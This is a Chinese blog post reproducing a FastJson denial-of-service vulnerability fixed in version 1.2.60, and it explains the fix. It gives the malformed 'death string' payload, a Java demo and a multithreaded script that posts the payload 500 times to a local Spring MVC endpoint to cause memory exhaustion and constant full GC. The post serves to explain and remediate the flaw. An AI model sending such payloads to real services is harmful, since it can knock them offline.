漏洞描述
首先,看一下阿里官方回应,传送门
![8484866bc7b9200d5deebadb389abdda.png](https://i-blog.csdnimg.cn/blog_migrate/d566f5b161b00e5e464f2835acf79981.jpeg)
重现漏洞
看看Github上1.2.60版本修复漏洞后的测试用例,即可发现造成这一漏洞的死亡字符串 {"a":"x
下面我们在demo和真实环境中,重现“死亡字符串”的导致的bug:
1、简单Demo
public static void main(String[] args) {
try {
String DEATH_STRING = "{"a":"x";
Object obj = JSON.parse(DEATH_STRING);
} catch (Exception e) {
e.printStackTrace();
}
}
引发的异常:大小GC+OOM异常
![f3356d2487c3dbf1918e7ef05aa3ea7b.png](https://i-blog.csdnimg.cn/blog_migrate/6dccf8098d30c036d6617e473df261f0.jpeg)
2、应用中重现
我们的应用使用了SpringMvc框架,然后mvc:message-converters
中MessageConverter设置为了使用FastJson 的com.alibaba.fastjson.support.spring.FastJsonHttpMessageConverter
,对字符串进行JSON的序列化和反序列化,所以可以直接通过POST请求模拟出此漏洞。
- 使用HttpClient,开启多线程,对一个接口调用500次
private static void testMutiThread() {
ExecutorService threadPool = Executors.newFixedThreadPool(8);
String url = "http://localhost:8080/pool/getBaseLogById";
String DEATH_STRING = "{"id":"10143x";
for (int i = 0; i < 500; i++) {
threadPool.submit(() -> {
String result = HttpClientUtil.doPost(url, DEATH_STRING, HttpClientUtil.CONTENT_TYPE_JSON);
System.out.println("响应报文为:" + result);
});
}
}
2. 用Java VisualVM工具观察内存使用情况和GC情况
![5f59a0346c533a87d2d436437a967d36.png](https://i-blog.csdnimg.cn/blog_migrate/8f6533c5cd7b19ba3d24517ea72fc8c7.jpeg)
3. 使用jstat命令观察GC情况
在500次调用还未完成之前,full gc的次数就已经来到了460次左右。
![b39e5c0663b8c592978e746b47c08d92.png](https://i-blog.csdnimg.cn/blog_migrate/1857ed145862319c80f101c36ce8eae5.jpeg)
假如发生在线上,攻击者持续的攻击,那么内存的飙升、疯狂的Full GC、cpu的耗尽,最终会导致你的应用无法在正常提供服务。
解决漏洞
将应用中的FastJson升级到1.2.60后,“死亡字符串”由于不符合标准json格式,便会在转换中直接抛出异常。
FastJson-1.2.60中修复的具体内容:传送门
升级至1.2.60后,再继续对应用进行“使用HttpClient,开启多线程,对一个接口调用500次”,内存和GC情况如下: 其中3次Full GC和7次Young GC是在压测之前就存在的,相当于压测只产生了1次Young GC,属正常反应。
![4ef36133baecc4cc8bccd079ca6365b6.png](https://i-blog.csdnimg.cn/blog_migrate/8bbcca76a727519f1eb278b6479cf174.jpeg)